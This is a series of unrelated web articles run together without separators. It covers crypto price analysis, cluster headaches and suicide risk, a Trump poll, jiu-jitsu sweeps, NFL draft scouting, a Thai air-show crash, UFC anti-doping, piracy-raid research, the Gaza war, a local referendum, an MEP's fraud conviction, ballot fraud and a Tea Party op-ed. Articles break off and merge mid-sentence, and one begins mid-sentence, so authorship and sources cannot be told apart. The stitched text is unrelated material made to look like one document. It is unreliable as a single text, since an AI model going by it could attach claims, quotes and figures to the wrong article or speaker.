The 4-hour chart of DOGEBTC from Trading View shows that the pair made a brief pop higher from its ongoing trend lower then proceeded to consolidate. Stochastic is moving out of the oversold area, suggesting a potential return in buying momentum and an uptrend for dogecoin, while RSI is on middle ground and barely offering any clear clues at the moment.
Analyzing this in tandem with BTCUSD price action in the past few days suggests that these trends and sudden moves were mostly just a result of bitcoin volatility. The cryptocurrency has been gaining ground in the past few weeks due to the negative developments in the Greek debt crisis before selling off when the parliament approved the new round of austerity measures.
Since then, dogecoin has formed higher lows against bitcoin, indicating a potential reversal from the previous trend. More positive updates from Greece could reduce fears of capital controls and an exit from the euro zone, which could convince Greeks to liquidate their prior bitcoin holdings. In addition, banks have already reopened in the country, lowering the need for its citizens to pursue alternative ways of moving funds around.
Conclusion
Dogecoin could take advantage of the potential bitcoin selloff to spur a rally for DOGEBTC off its current levels. Debt issues in Greece have faded, reducing the need to move funds towards bitcoin and other alternative currencies.Continue Reading Below Advertisement
"Suicide headache" isn't merely a badass nickname. Death is a very real side effect of this condition. Most doctors who specialize in the field have have lost at least one patient to suicide.
Sheena knows this feeling all too well. "I'm pretty damn stable, but by my second or third headache, before I knew what was going on, if someone had offered me a bullet, I would have taken it."
It's not that they can't handle an hour of pain every now and then -- if the witch you angered (you know what you did) happens to curse you with chronic clusters, they can occur multiple times a day and last over a year. Then there's the anxiety of knowing that it's coming. Sheena compares it to an abusive relationship: "You have the fear of the next cluster, and then the attack comes, and then you have a period where nothing happens. But you can't break up with your brain."
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And the MRI machine makes for a shitty marriage counselor.
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In one particularly extreme case, one young man approached Tyler while he was filming a documentary about cluster headaches and offered to let Tyler film his suicide. "He'd been averaging about 11 a day. He said the plans were made for that Saturday night. He said he'd film it for me if I wanted him to. I had to alert other people within our group. I couldn't be a part of that discussion, and I wanted to get him help."
Thankfully, he received the help he so badly needed and did not go through with his plans, but that's how this condition gets you. You have to nearly make a snuff film before anyone will take your "headaches" seriously.
g-stockstudio/iStock/Getty Images
"Ignore Frank. He's achy."
Tyler explains, "It's a very shameful disease. There's a stigma with headaches that it's a feminine disease, and there's a social stigma that people who have them are weak. So people hide this from their friends and go into this spiral of shame."
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The condition comes with so much ridicule that it causes patients to isolate themselves, and leaving someone alone to stew in their suicidal thoughts doesn't make for a particularly delicious soup.According to the latest CNN/ORC poll, 39 percent of Republican voters favor Donald Trump — that's up from 27 percent in October, 24 percent in August, and 12 percent in June. But it's not the most interesting part of the poll.
There's a persistent argument that Trump's support is pure celebrity. Republicans like him because they know him, or are fascinated by him, or keep seeing him on the news. In this telling, Trump's distinctive positions on immigration and economics and national security — positions that often put him at odds with both the Democratic and Republican parties — barely figure into the equation.
But what if the opposite is true? What if Trump's positions are driving his appeal, and Trump's personal antics are actually limiting his support?
Matt Yglesias has made this argument before, and the CNN/ORC poll provides some support for it. Though only (only!) 39 percent of Republicans support Trump, 57 percent believe he'd do the best job on the economy, 55 percent believe he'd do the best job on illegal immigration, and 47 percent believe he'd do the best job on ISIS.
In other words, the percentage of Republicans who think Trump would do the best job on the core issues driving the Republican primary is larger than the percentage of Republicans who actually support Trump!
The question, then, may not be why is support for Donald Trump so high, but why is it so low?
As Yglesias wrote back in August, if you just look at how much more popular Trump's positions are than the other Republicans, "the striking thing is that Trump is punching well below his potential weight. Perhaps all the apparently clownish, seemingly off-putting stuff that he does is, in fact, counterproductive, and he would do even better if he combined his ideas with a more mainstream presentation."
That said, the Republican affection for Donald Trump's positions is not shared by the rest of the country. While 63 percent of Republicans say Trump shares their values, that number falls to 37 percent when you poll all voters.
Correction: This post originally said Trump's favorable/unfavorable among Republicans was 39 to 57 percent. I misread the poll — that's his favorability among all Americans. His favorable/unfavorable among Republicans is 71 to 28 percent.The half guard is one of my favorite guard positions. And here are three of my favorite half guard sweeps and attacks!
Not only is each of these moves a high percentage technique in its own right, but when you put them together they create a powerful one-two-three combination that will serve you well in the half guard for the rest of your grappling career.
The first attack in this sequence is the Footgrab Sweep. Most people who play half guard have some variation of this in their arsenal; Eddie Bravo and the 10th planet crowd, for example, call call this sweep the ‘Old School’.
The Footgrab Sweep involves getting deep under your opponent, securing his free foot, turning onto your knees and then knocking him over. It’s sort of like doing a low single leg takedown, but tying up his far leg with your arms makes it far more difficult for him to stay upright and defend the takedown.
I think the Footgrab Sweep should be the first attack you learn from the half guard. It’s highly effective so you get that critical early taste of success with a position, it doesn’t require crazy flexibility or athleticism, and it leads into many other effective attacks and submissions.
Plus if you do this technique correctly it sets you up for a very powerful guard pass once you get to the top.
Here’s a short video of the basic way to do the Footgrab Sweep:
The next technique is the Rollunder Sweep. Here you dive underneath your opponent and roll him over top of you. Most commonly you’ll be using his initial reaction to your Footgrab sweep to set this technique up, but it can also be used as a followup for many other half guard situations as well.
The most important thing is to drive into him so that he pushes back. When you feel this resistance (or, even better, when you anticipate the push and move slightly before it) then you dive under him taking him over to his back.
This is a bit of a bipolar move…
If you do this technique incorrectly or with the wrong timing then your opponent will feel like he’s bolted to the floor. You’ll end up smeared on the mat under him, hating this technique and hating jiu-jitsu.
But if you do it at the right time and in the right way then this is a completely effortless move. You feel like a 10th dan aikido grandmaster as your opponent soars over you and lands on his back.
Getting this technique right is a ‘feel’ thing. Have someone do it to you so you can feel the energy, the timing, and the momentum behind the move. But don’t give up if you lack the partner or teacher who can do it correctly. You can learn this technique on your own – I know because that’s what I did!
Once you hit it a few times against a big strong guy and send him flying over top of you, then you’ll understand what all the fuss is about and be hooked for life!
Here’s a video of one way to apply the Rollunder Sweep:
The third technique in the sequence is the Air Guitar reversal. It’s almost too simple to make a big deal about, but it’s a very effective solution to a very common problem. It’s a small move but little hinges move big doors…
The Footgrab Sweep and the Rollunder Sweep are both very powerful techniques, however as Joe McCarthy, my old Judo coach used to say, “this is a martial art, not a martial science.” And that means that things aren’t always going to go to plan…
A canny opponent may not allow you to capture his far leg for the Footgrab Sweep,
He might not get suckered into giving you the right energy for the Rollunder Sweep,
And he might tie up your arm with an overhook (aka whizzer) which stops you from slipping out to his back.
So you might think you’re now stuck, but not to worry! Here’s a really simple and effective solution to getting stalled out on your knees that has worked for me many times.
Once again the key is psychology. Most grapplers are male. And what do men do when you push them? Of course – they push back! Let’s see how you can use this fundamental push-you-back instinct to your advantage.
Let’s say that while fighting from the half guard you’ve ended up on your knees. But your opponent has the whizzer and is putting a ton of pressure onto you. For whatever reason neither the Footgrab Sweep nor the Rollunder Sweep are working for you right now.
To reverse the situation first try to lift your trapped shoulder. Remember that male psychology we talked about? The push-you-back reflex ensures that 99% of the time he’ll respond by opposing your force and trying to drive your shoulder down into the mat.
Great – once he’s given you this response you now know what he’s going to do, how he’s going to do it, and also the timing of his response.
So then try lifting your shoulder a second time as if you’re too stupid to know that it won’t work. Your opponent, reassured by the fact it was so effective the first time, will try to smash you down even harder than before. But this time when he drives down let your arm go loose, whip it back, down and then forward out of his overhook.
I call this the move the Air Guitar for obvious reasons, and if you do it right you’ll be clear of his arm and able to jump onto his back where you can then attack him with any number of submissions (more on the rear mount here).
Here’s the Air Guitar broken down for you in a short video:
If you’re new to the half guard then the techniques in this blog post should keep you busy for a while.
As always, start with learning the actual techniques in a step-by-step manner, then drilling them to get your repetitions in, and then try to incorporate them in your sparring.
And when you finally incorporate these techniques in your sparring start with the lightest grapplers and whitest belts in your club and try to get to a point where you can consistently hit these moves on them. When that’s working pretty well then ‘graduate’ and move on to your heavier, more experienced classmates.
There’s no point in trying out your newest techniques on that 210 lb competitive brown belt, because he’ll likely just crush you and you won’t learn a thing. Instead wait until you’ve perfected it on other people and THEN go and sweep his brown belt butt all over the mat!
Here’s a Guard Sweeping Resources for You!
The video above was a very short excerpt from the ‘Guard Sweeps Module’ within the free Grapplearts BJJ Master App.
This module covers 32 different techniques (as well as advanced tricks, tweaks and details) from the most powerful guard positions so that you can start sweeping even your toughest opponents all over the mat.
And at just $3.99 it’s a complete steal. So download the Master App for free and then preview the Guard Sweeps module (and the other free content) within it!
Click Below to Download the ‘Grapplearts BJJ Master App’ For Free
Comments ( )The difference between a first round pick like Robert Nkemdiche and a fourth round pick like Evan Boehm can really be summed up in this series, well that and the fact that Brandon Williams will not even be covered.
Boehm had a paltry 55 words written about him in his "scouting report" from Bob McGinn and his anonymous scouts in the Milwaukee Journal Sentinel. Yet, it is there that we find that there really is nothing to figure out about Boehm's game, he is a try hard, physical, no nonsense type of player. He'll give you everything he has and the question for Boehm will always be, is that enough?
Here's what was said
Played football for his father in Lee's Summit, Mo. Also was a state wrestling champion. "Being physical is what his whole game is," one scout said. "He's tough. More like (Corey) Linsley. That's how he plays. Strong, physical." Made his first 12 starts at LG and the next 40 at center for a school-record 52.
One scout piqued McGinn's interest enough to be in his article on Boehm, Jack Allen, the fifth ranked center had three scouts quoted, but that is what separates Boehm, the Arizona Cardinals fourth round pick, from Robert Nkemdiche. Everyone knows, or thinks they know what they can expect in Boehm the football player.
There is much more division and much greater opinions had on Nkemdiche.
While none of the other Arizona Cardinals draft picks will get the anonymous scout treatment, the juxtaposition of Nkemdiche's scathing and varying anonymous scouting report to the brief summation of Evan Boehm shows you just what you expect from a fourth round center. Not a lot of talk, but a strong game.SONGKHLA — A Royal Thai Air Force pilot was killed when a jet went down during a Children’s Day air show at an airbase in the southern city of Hat Yai.
The JAS 39 Gripen was maneuvering over the airbase when it suddenly lost altitude, slammed into the ground and exploded. The pilot, 34-year-old Group Capt. Dilokrit Patawee, did not eject.
A fire truck rushing to the scene of the crash overturned, but no one was seriously injured.
Children’s Day has proved perilous in the past as well.
Back in 2009, a 9-year-old girl was killed when a paratrooper jumped out of a plane and lander on her. Three years later, an army officer died after something went wrong while parachuting down in a Children’s Day demonstration in Chiang Mai province.Let's posit something.
Let's assume the UFC decides it has had enough of the performance enhancing drug (PED) issue affecting the sport or, at least, their side of the sport. They want to do something about it and address the matter once and for all. UFC management decides there's no cost too heavy, no regulation too strict, no hurdle they won't climb to have the most comprehensive anti-PED effort among modern professional sports leagues.
They don't know where to turn, so they ask, 'What is currently the toughest, most exhaustive way to combat the use and culture of acceptance of PEDs in MMA?" Answers could vary, but let's say they get the response many, if not most, anti-doping experts are likely to give: become a signatory of the World Anti-Doping Association (WADA) Code and go from there.
As it stands, no professional sports league in North America - not the NFL, NBA, MLB, NHL or even the NCAA - have gone so far as that. Each league has formulated their own anti-doping rules and regulations, although most operate at a significant distance from what the WADA Code would ask (numerous industry experts, however, tell MMA Fighting MLB's current anti-doping efforts are the strongest among the aforementioned group).
While no anti-doping effort is perfect (more on this later), becoming a signatory of the WADA Code, and thereby following the list of requirements necessary to be in compliance with it, would arguably demonstrate a massive step towards real anti-doping effort.
But what would that do to mixed martial arts or the UFC? How much would it cost? How would that change the state commission's ability to regulate the sport? Why would UFC even want to do it?
We can't speak for the UFC, but as enhanced testing in Nevada has revealed, the problem of doping is beyond the scope of what current practices and protocols can cover. The pressure is on the world's leader in MMA to do something more. If the UFC decided to take the highest road possible, here's what becoming a signatory would mean for them and the sport:
1. What is the WADA Code?
WADA defines its own Code as "the core document that harmonizes anti-doping policies, rules and regulations within sport organizations and among public authorities around the world. It works in conjunction with five International Standards which aim to foster consistency among anti-doping organizations in various areas: testing; laboratories; Therapeutic Use Exemptions (TUEs); the List of Prohibited Substances and Methods; and the protection of privacy and personal information."
Think of the Code as something akin to a living constitution and directional guide for the most stringent and up to date anti-doping standards, regulations and practices in the world today. The document, which is updated and partially revised, is a one-stop shop that covers everything from doping control (consequences, types of testing, the 'whereabouts' program) to education (types of research, goals of anti-doping education) to the roles and responsibilities of signatories to implementation and compliance with the Code.
The Code is the foundation upon which WADA's anti-doping efforts are based. It's as much a mission statement as it is a technical guide and regulatory framework. It's designed to be universal enough to apply to all signatories, no matter where geographically they may be, but also flexible enough to provide latitude in how agreed-upon principles are applied.
2. In order to be in compliance with the WADA Code, what else would UFC have to do?
Being a Code signatory means also being in compliance with the 'five international standards' aforementioned.
That would require the UFC to adhere to a variety of international standards on what substances are prohibited (a list that is constantly updated and changed), what the means and mechanisms of testing must look like and why, what is and isn't an accredited laboratory and how to use them, and how to protect the privacy of athletes.
3. Ok, but what does that really mean in actual practice?
It means lots of things, but let's focus on the big picture. It would basically require doing the following six things, which are the pillars of any WADA Code-supported anti-doping effort:
1. Random drug testing all year long, both in and out of competition.
2. Adhering to a list of prohibited substances including designer drugs, which includes substances where non-analytical positives show up (designer drugs for which no test can find, but other evidence can be accrued to determine guilt).
3. Implementation of the best legal and scientific policies and practices as they evolve, which must include adequate sanctions and due process protections for those accused of doping violation.
4. Investments into education to help facilitate a change in perspective of about the value of ethical competition.
5. Investments into scientific research to help detect new doping substances or techniques.
6. Partner with law enforcement to help ensure that in addition to athletes being held accountable, the persons who manufacture, sell or traffic the substances are pursued as well.
4. But isn't anti-doping just about effective testing?
Part of what the WADA Code demands is not merely effective testing protocols and procedures, but a larger intellectual or idea effort to buttress the practice themselves. That's as much a reminder to the signatories as it is the larger communities of the sports themselves. After all, the questions of 'Why are we testing?' or 'Why are we testing in this particular way?' would naturally be asked. The WADA Code, for better or worse, provides the reasoning behind anti-doping efforts as much specific guidelines on how to actually combat their use.
Moreover, the Code requires members to both conduct and/or support the results of any research or scientific done to advance anti-doping efforts in addition to sharing the results to help disseminate best practices. UFC would be required, in some capacity (although there's plenty of wiggle room there), to be a part of this process.
5. How would the UFC go about doing this? Aren't they regulated by state athletic commissions?
It's possible they could do it on their own, but they'd most likely have to ask for outside help in the form of an independent, transparent organization. Also, remember WADA merely provides a set of standards and practices, but actually testing and compliance are the responsibility of the signatories.
There are a number of choices the UFC could use to stay in compliance, but the obvious candidate would be the United States Anti-Doping Agency or USADA.
USADA is a non-profit, non-government organization, but is the official anti-doping agency for Olympic, Pan American and Paralympic sport in the U.S. USADA's budget partly comes from the Office of National Drug Control Policy (in other words, the government) with the rest coming from its anti-doping services with other sports organizations. The United States Olympic Committee (USOC) uses USADA's services.
USADA is already involved in combat sports when its services have been requested. While much of the testing services for the USOC are generally lauded, questions were raised about its transparency and effectiveness when they provided testing and oversight of Erik Morales and Danny Garcia before their bout in October of 2013.
Still, Travis Tygart, the head of USADA, believes UFC handing off WADA Code compliance and testing to USADA on a year-round basis could work. As he sees it, athletic commissions would still be in charge. As government bureaucrats, however, anti-doping isn't their core comptency. The various parties, Tygart suggests, could work in concert without duplicative services and keeping Code compliance up.
"We're taking this messy drug testing issue off of your plate, so you, as the state commission, can get back to what you do, which is license fighters, license promoters, etc," Tygart says. "Out of 100 percent of their job, 90 percent of the headache is the drug testing issue. You're taking that off of their plate. You enter into an agreement, by which you agree to do that. At the end of the day, if they refuse, they could still run their program, and that's fine. It's just a duplication of resources."
Tygart also argues while Nevada's recently enhanced testing program is far superior to the old regimen of regulation, fewer tests would be fine if year-round testing were involved as opposed to numerous tests in short windows as Nevada currently operates.
Commissions would still hand out punishments for failed tests no matter what, though. After all, they're the ones regulating MMA promoters and fighters by the power of law. They could choose to follow the UFC's request of WADA Code compliance in the event of a positive test or could add additional penalties on top of what commissions decide.
6. What would something like this cost?
Estimates vary, but industry sources tell MMA Fighting the annual costs for a WADA Code signatory with 500 fighters across the planet would be in the range of $3 to $5 million (and likely closer to the higher end of the figure). The overwhelming majority of those costs, sources say, would be attributable to the testing of athletes. The other portions of WADA Code compliance would not be expensive or uniquely burdensome.
MMA Fighting reached out to UFC to determine what costs they would comfortable with in terms of annual spending on anti-doping testing and efforts. As of the time of this writing, they have not responded.
7. How could UFC afford to pay something like that?
There are a number of potential mechanisms to do that. One would simply be cutting costs throughout the organization, although that's a nebulous and not particularly helpful strategy.
Tygart argues that an occasional $.50 surcharge on pay-per-view offerings, a small uptick in cost, would enable UFC to pass on the cost of WADA Code compliance to their customers while generating more than enough revenue to finance their anti-doping program.
8. Let's back up a second. What would all this mean for fighters who test positive for banned substances?
There is some latitude in the Code, but the basic answer is stiffer penalties. First-time offenders could be banned as much as two to four years, although lesser penalties are available as well. Three-time offenders, however, would receive automatic lifetime bans. Needless to say, the implementation of the WADA Code would have a dramatic impact on the business model of the UFC and careers of fighters who are caught doping.
9. Would this all actually work? Would this eliminate PED use in the UFC?
No matter what, there will always be cheating. There is no program that could eradicate doping. Negative tests are not evidence there's no doping going on. Don't forget, the WADA Code standard is widely regarded as the highest and most stringent in existence today. That still hasn't stopped the IOC from saying better and more effective testing is needed.
That said, some critics claim the current WADA Code requirements are expensive and only somewhat effective results. Others have asserted the entire anti-doping effort globally has been a failure.
10. What about non-UFC promoters? Wouldn't they still be exempt from all of this?
Yes, they would. At least in the short run. The costs of running the program are simply too prohibitive for every non-UFC promoter to afford. Perhaps Viacom-backed Bellator would be an exception, but for an organization still trying to find a way to generate sufficient revenue to cover their costs, existing state commission regulation keeps them in legal compliance without additional and burdensome costs.
In theory, the UFC could decide to make $.50 or greater surcharges on pay-per-view as a way to generate enough resources to cover the cost of testing for other promoters, although realistically speaking, that seems unlikely. If the UFC were to pursue this level of anti-doping, it'd likely be doing it on their own until the dynamics of the sport changed or costs of testing dramatically declined.
11. Why would UFC even want to do this?
No North American professional sports league has become a WADA Code signatory, so it's likely the UFC is no different than their peers in that regard.
Tygart believes, though, there's no reason not to do it. Whatever the limits of testing, there's nothing better than this standard especially given how woefully inadequate the current standards are. And while the costs are not negligible, for a billion dollar-organization like the UFC, they're hardly insurmountable.
"No sport that's cared, ultimately, about its integrity and its reputation has tripped up or said the costs can't be overcome," Tygart argues. "They certainly can and sports around the world do it everyday. There are 600 plus sports that have agreed to the WADA Code in 160 countries. The money is not an excuse."
More than that, though, Tygart contends even if the idea that the rights of clean athletes deserve to be protected doesn't resonate as a reason to adopt stricter standards and practices, there are other reasons to adopt measures like these.
"You have to take a step back and say, 'Alright, one, we can't afford not to do this because you end up having bad publicity because a fighter ends up hurting himself or someone else gets hurt, you think of the liability associated with that. This is a cost of doing business that is there to protect the long-term interest and and brand of the business," he says.
"You have to look at it, to a certain extent, like insurance," he notes. "You're going to end up paying a lot more on the back end in the event of a poor collection, like the Ryan Braun case, or if a catastrophic health injury comes out of it. The return on that investment is going to, by far, pay for itself. If you put a good program in place, that's the only way you can go about it."Shutting down pirate websites such as The Pirate Bay is high on the agenda of the entertainment industries. However, according to research published by the European Commission's Joint Research Centre, these raids are relatively ineffective and potentially counterproductive.
A few years ago Europe witnessed the largest piracy-related busts in history with the raid of the popular movie streaming portal Kino.to.
Police officers in Germany, Spain, France and the Netherlands raided several residential addresses, data centers and arrested more than a dozen individuals connected to the site.
The operation wiped out the largest unauthorized streaming portal in Europe and was praised as a massive success. However, new research from the European Commission’s Joint Research Centre shows that the effect on end users was short-lived and relatively limited.
In a working paper titled “Online Copyright Enforcement, Consumer Behavior, and Market Structure” researchers examined clickstream data for a set of 5,000 German Internet users to see how their legal and illegal consumption habits changed in response to the shutdown.
One of the main conclusions is that the kino.to raid led to a short-lived decrease in piracy, after which piracy levels returned to normal. At the same time, the researchers observed only a small increase in the use of legal services.
“While users of kino.to decreased their levels of piracy consumption by 30% during the four weeks following the intervention, their consumption through licensed movie platforms increased by only 2.5%,” the paper reads.
Based on the above the researchers conclude that if the costs of the raids and prosecution are factored in, the shutdown probably had no positive effect.
“Taken at face value, these results indicate that the intervention mainly converted consumer surplus into deadweight loss. If we were to take the costs of the intervention into account, our results would suggest that the shutdown of kino.to has not had a positive effect on overall welfare,” the researchers write.
Perhaps more worrying is the fact that Kino.to was soon replaced by several new streaming services. This so-called “Hydra” effect means that a landscape which was previously dominated by one site, now consists of several smaller sites that together have roughly the same number of visitors.
The researchers note that Movie2k.to and KinoX.to quickly filled the gap, and that the scattered piracy landscape would make future shutdowns more costly.
“Our analysis shows that the shutdown of kino.to resulted in a much more fragmented structure of the market for unlicensed movie streaming,” the paper reads.
“This potentially makes future law enforcement interventions either more costly – as there would not be a single dominant platform to shutdown anymore – or less effective if only a single website is targeted by the intervention”
One of the policy implications could be to advise against these type of large piracy raids, as they do very little to solve the problem at hand.
However, the researchers note that the results should be interpreted with caution. For example, it doesn’t include any data on offline sales. Similarly, back in 2011 there were relatively few legal options available, so the effects may be different now.
That said, the current findings shed an interesting light on the limited effectiveness of international law enforcement actions directed at piracy sites. Also, it’s the first research paper we know of that provides strong evidence for the frequently mentioned Hydra effect.Image copyright AFP Image caption Four Israelis were wounded in a rocket and mortar fire attack on the Erez crossing
Israel says it has closed the Erez crossing after it came under rocket fire from Gaza, wounding four people.
The crossing is used by aid workers, journalists and Palestinians with Israeli permits to enter or leave Gaza.
Meanwhile, an Israeli air strike in northern Gaza killed a mother and three children, local health officials said.
More than 2,090 Palestinians - mostly civilians, according to the UN - and 67 Israelis have died in the recent fighting.
Most of the dead on the Israeli side have been soldiers. A Thai national in the country was also killed by rocket fire early on in the six-week-old conflict.
Hostilities between the two sides resumed on Tuesday after a temporary truce, scuppering efforts by Egyptian negotiators to achieve a long-term ceasefire deal.
Hamas finance chief 'killed'
The Israel Defence Forces (IDF) said Palestinian militants had fired missiles at the Erez crossing from a concealed rocket launcher in northern Gaza.
The military added that at least 50 missiles had been fired into Israel since Saturday night.
Image copyright Reuters Image caption The Erez crossing is used by Palestinians with Israeli permits to enter or leave Gaza
Image copyright Reuters Image caption The Israeli military says close to 600 rockets have been fired from Gaza into Israel since Tuesday
Image copyright EPA Image caption A mother and three children reportedly died in an Israeli air strike on Gaza City
It said Israeli forces were continuing their air strikes targeting sites of Hamas, the militant group which dominates Gaza.
One of the raids killed Mohamed al-Oul who was in charge of managing Hamas' funds, according to the IDF. Hamas has not yet commented on the alleged killing.
Meanwhile, Gazan health officials said a mother and three children died when their home was bombed near the Jabaliya refugee camp.
Sunday's fighting has claimed at least eight lives in Gaza.
The previous day, 22 people were hurt when a 12-storey block - said by Israel to be a Hamas command centre - was demolished by two missiles.
Image copyright EPA Image caption Israeli soldiers and civilians take shelter after rocket alert sirens sounded in southern Israel on Sunday
Image copyright EPA Image caption A Palestinian woman and her son flee during an Israeli air strike in Gaza City
Israeli Prime Minister Benjamin Netanyahu has once again warned Palestinian civilians to evacuate "from every site from which Hamas is carrying out terrorist activity".
"Every one of these places is a target for us," he said in a cabinet meeting on Sunday.
Israel had announced it would "intensify" its offensive after a four-year-old Israeli boy was killed in a village near the Gaza border.
In an interview with Yahoo News, Hamas leader Khaled Meshaal rejected the charge that his organisation was targeting Israeli civilians.
Image copyright EPA Image caption Two Israeli missiles struck a multi-storey building in Gaza on Saturday
"We try most of the time to aim at military targets and Israeli bases," Mr Meshaal said. "But we do not have the weapons available to our enemy… so aiming is difficult."
The current fighting erupted after tensions soared with the killings of three Israeli teenagers by Palestinian suspects in the West Bank in June, followed by the murder of a Palestinian teenager in Jerusalem in an alleged revenge attack by Jewish suspects.
Palestinian President Mahmoud Abbas earlier called on Israel and Hamas to attend fresh talks in Egypt.
Mr Abbas, who controls the West Bank, formed a unity government with Hamas in April, prompting Israel to freeze peace talks.
The Israeli government has vowed to pursue its military campaign until "full security" is achieved through the disarmament of Hamas and other groups in Gaza.
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villages rather than cities and was once a key difference between those types of municipalities, said Ken Menzel, deputy general counsel for the Illinois State Board of Elections.
"Over the years, the differences between cities and villages has dwindled," he said.
The referendum comes at a time when Highwood officials are gearing up for the next local election, in April. Kindseth said a successful referendum might mean some current aldermen whose terms don't expire until 2015 would have to seek re-election in the spring.
Under the current structure, four Highwood alderman seats — one per ward — are up for election next April. The potential change in the city's governmental structure would mean six seats might be up for election, Kindseth said.
But Helander said she thinks elected officials could not legally be removed from their positions until their terms expire, meaning that if the referendum passes, Highwood could have to implement its new system of government in phases. Kindseth said the city's legal counsel advised officials that the entire council structure could change at once.
The mayor is currently charged with filling the vacancy left by Sepulveda, Kindseth said. The appointment was on the agenda for the Oct. 2 City Council meeting. Whoever is appointed would be up for election in April regardless of whether the referendum is approved.
The mayor also is charged with filling two non-council vacancies: city clerk and city treasurer. Those positions, along with the mayor's seat, are up for election in the spring.
Most aldermen voted in July to place the referendum on the ballot in November, but not all of them support the proposed changes. Alderman Andy Peterson said in an email that his constituents oppose the measure, and that is part of the reason he doesn't support it.
"I have not been presented with compelling rationale as it relates to why the proposed changes will improve the efficiency or effectiveness of the City government," he wrote.
But Alderman Kathy Murphy-Pieri said she supports the change in council structure. Like Sepulveda, she feels it would make aldermen more accountable to residents of the city. The current council structure came as a result of a vote by aldermen, not a vote of the residents, she said.
"People need to have a choice," she said. "The government hasn't been working right."
jdanna@tribune.comImage copyright PA Image caption Ashley Mote sat as a South East England MEP between 2004 and 2009
A former MEP who fraudulently claimed almost £500,000 in European Parliament expenses has been jailed.
Ashley Mote, 79, was convicted of 12 charges relating to claims for payments to people he said were whistleblowers.
The offences included fraud, acquiring criminal property and false accounting.
Mote, who was elected on a UKIP ticket but sat as an independent MEP for South East England, was sentenced to five years at London's Southwark Crown Court.
'Greed and dishonesty'
In May, he was convicted of four counts of obtaining a money transfer by deception, three of false accounting, two of fraud, and one each of acquiring criminal property, concealing criminal property and theft.
The offences took place between November 2004 and July 2010.
He was never a UKIP MEP I'm pleased to say. He was elected on a UKIP list Nigel Farage, UKIP leader
On sentencing, Mr Justice Stuart-Smith told Mote: "[The jury] listened to you closely for days as you lied, protested, lied and lied again about the monies you had fraudulently claimed as expenses while serving your constituents and your country as an MEP.
"During the period from 2004 to 2009 you corruptly fiddled over £400,000 in expenses.
"Your greed and dishonesty were matched only by your hypocrisy, because while this was going on you carried out a high-profile campaign condemning corruption and the improper use of public money in the very institution from which you were leeching it."
'Political hero'
During the trial, the jury heard how Mote, of Binsted, Hampshire, submitted numerous false expenses claims for payment for work that organisations had allegedly carried out on his behalf.
Mote claimed the money was to pay whistleblowers in cash through third parties. He also said he had been "targeted for being an anti-EU MEP".
Mr Justice Smith said: "You knew perfectly well what the rules were for the claiming of expenses and you also knew perfectly well that what you were doing had nothing to do with funding whistleblowers and everything to do with funding your bridging loan, your mortgage, your legal expenses that were unrelated to your role as an MEP."
He told Mote he had deceived people who had considered him to be "something of a political hero" and described his dishonesty as "breathtaking".
"As you came to towards the end of your time as an MEP you decided to milk what you saw as your cash cow to the limit," he added.
He told Mote that the sentence was reduced to five years because of his age.
"If you were a young man, I would make a modest reduction to six years eight months on the grounds of totality," he said.
"But you are not a young man, and I consider that such a sentence would be a crushing blow which, even if justifiable, should be avoided if possible."
In response to mitigation from Tim Moloney QC that Mote had done valuable work as a politician, Mr Justice Smith said: "It's a bit double-edged for a person who goes trumpeting loud that he's going to clear up corruption in the European Parliament while fleecing it as hard as he could."
'Wrong 'un'
Mote sat as an independent from 2004-2009 after being expelled from UKIP for benefit fraud.
He was jailed for nine months but was able to keep his seat because his sentence was under a year in length.
About £100,000 of the bogus expenses Mote claimed were used to fund his legal fees when he was prosecuted for benefits fraud.
UKIP party leader Nigel Farage said: "He was never a UKIP MEP I'm pleased to say. He was elected on a UKIP list.
"I found out very quickly and thought he was a wrong 'un so I kicked him out of the party, and this will be his second prison sentence so there you are.
"He never took his seat as a UKIP MEP. He was a member of UKIP, who was elected and I kicked him out even before he took his seat."Authorities say they plan to make more arrests in the case. Last month, Assistant District Attorney Andy Chatham and Elections Administrator Toni Pippins-Poole named two persons of interest in the investigation, neither of whom was Hernandez.
Prosecutor Mike Snipes, a former judge and federal attorney, said Friday afternoon that he couldn't say too much about the case, as it's ongoing.
But he did say his office had been contacted by a woman from West Dallas who "knew she'd been duped into sending out an improper ballot" and contacted the Dallas County District Attorney's Office. She was shown a lineup and identified Hernandez.
Snipes said prosecutors were "not surprised" when she pointed at him.
Investigators declined to say whether they suspect Hernandez or any others are linked to any particular candidate. But they are expecting more arrests.
"Nothing in the next week," Snipes said. "But in the next month? Probably. We're happy we've got one warrant, the investigation's proceeding, and we think we're getting close."
During the weeks leading up to the elections, dozens of senior citizens in West Dallas and Grand Prairie filed complaints saying they had received mail-in ballots that they had not requested. Some of them had also been told their mail-in ballot applications said they had been assisted by a "Jose Rodriguez," a man they didn't know.
At the district attorney's request, a judge ordered the sequestration of 700 ballots that were linked to "Jose Rodriguez," which authorities believed to be a fake name.Interesting op-ed in the NYTimes pointing out the strong and growing disapproval for the tea party - and why. David E. Campbell, an associate professor of political science at Notre Dame, and Robert D. Putnam, a professor of public policy at Harvard, say most Americans oppose the tea party's favored mixing of politics and religion:
Beginning in 2006 we interviewed a representative sample of 3,000 Americans as part of our continuing research into national political attitudes, and we returned to interview many of the same people again this summer. As a result, we can look at what people told us, long before there was a Tea Party, to predict who would become a Tea Party supporter five years later. We can also account for multiple influences simultaneously — isolating the impact of one factor while holding others constant.
Our analysis casts doubt on the Tea Party’s “origin story.” Early on, Tea Partiers were often described as nonpartisan political neophytes. Actually, the Tea Party’s supporters today were highly partisan Republicans long before the Tea Party was born, and were more likely than others to have contacted government officials. In fact, past Republican affiliation is the single strongest predictor of Tea Party support today.
What’s more, contrary to some accounts, the Tea Party is not a creature of the Great Recession. Many Americans have suffered in the last four years, but they are no more likely than anyone else to support the Tea Party. And while the public image of the Tea Party focuses on a desire to shrink government, concern over big government is hardly the only or even the most important predictor of Tea Party support among voters.
So what do Tea Partiers have in common? They are overwhelmingly white, but even compared to other white Republicans, they had a low regard for immigrants and blacks long before Barack Obama was president, and they still do.
More important, they were disproportionately social conservatives in 2006 — opposing abortion, for example — and still are today. Next to being a Republican, the strongest predictor of being a Tea Party supporter today was a desire, back in 2006, to see religion play a prominent role in politics. And Tea Partiers continue to hold these views: they seek “deeply religious” elected officials, approve of religious leaders’ engaging in politics and want religion brought into political debates. The Tea Party’s generals may say their overriding concern is a smaller government, but not their rank and file, who are more concerned about putting God in government.
